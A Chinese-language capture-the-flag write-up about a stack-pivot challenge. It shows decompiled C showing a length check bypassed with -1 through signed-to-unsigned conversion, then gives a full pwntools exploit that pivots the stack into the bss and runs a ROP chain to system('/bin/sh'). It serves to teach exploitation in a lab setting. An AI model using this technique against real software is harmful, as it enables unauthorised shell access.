不是每一次我们都能遇到足够长的缓冲区溢出。这一次,只能溢出一点点,那你该怎么办呢?栈迁移就是解决这个问题的一个手段,通过栈迁移我们能获得足够的栈空间,但是请注意迁移之后的栈布局。
题目明示使用栈迁移,introduce() 函数允许我们往 bss 段上写数据,由于将栈转移到 bss 段上后数据仍然是往低地址写,我们需要需要将栈底劫持到差不多中间的位置,大概需要下面这样的结构

这需要很大的写入空间,但是写入的大小被 a1 限制
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+0h] [rbp-10h] BYREF
_BYTE buf[12]; // [rsp+4h] [rbp-Ch] BYREF
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
puts("Welcome to join this pwn party!");
puts("Please say something to introduce yourself:");
puts("Before that,you need to tell us the length of your introduction.");
__isoc99_scanf("%d", &v4);
if ( v4 > 32 )
{
puts("Your introduction is too long, please try again.");
exit(1);
}
introduce((unsigned int)v4);
puts("Now, please tell us your phone number:");
read(0, buf, len_of_phonenum);
return 0;
}
后面在进入 introduce() 后将其强转为无符号整型,所以我们传入 -1,就会转成一个很大的数字,绕过了大小检查,introduce() 函数如下
int __fastcall introduce(unsigned int a1)
{
read(0, &desc, a1);
return puts("Ok,we got your introduction!");
}
然后是一个很小的栈迁移利用,len_of_phonenum 定义为 1c ,查看栈图,也就是差不多刚好可以覆盖返回地址

让返回地址为 leave 调整 rsp 到 bss 段进行栈迁移即可
Exp 如下
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
# p = remote('127.0.0.1', 58756)
p = process('./pwn')
# p = gdb.debug('./pwn')
p.recvuntil(b'introduction.\n')
p.sendline(b'-1')
pop_rdi = 0x401219
ret = 0x40101a
bin_sh = 0x404060
leave = 0x40133e
system_addr = 0x4010a0
payload_1 = b'/bin/sh\x00' + b'\x00'*0x700 + p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(system_addr)
p.send(payload_1)
p.recvuntil(b'number:\n')
payload_2 = b'a'*12 + p64(bin_sh + 0x700) + p64(leave)
p.sendline(payload_2)
p.interactive()
读取 flag

看了官方的 wp ,感觉没怎么看懂,但核心思路应该一样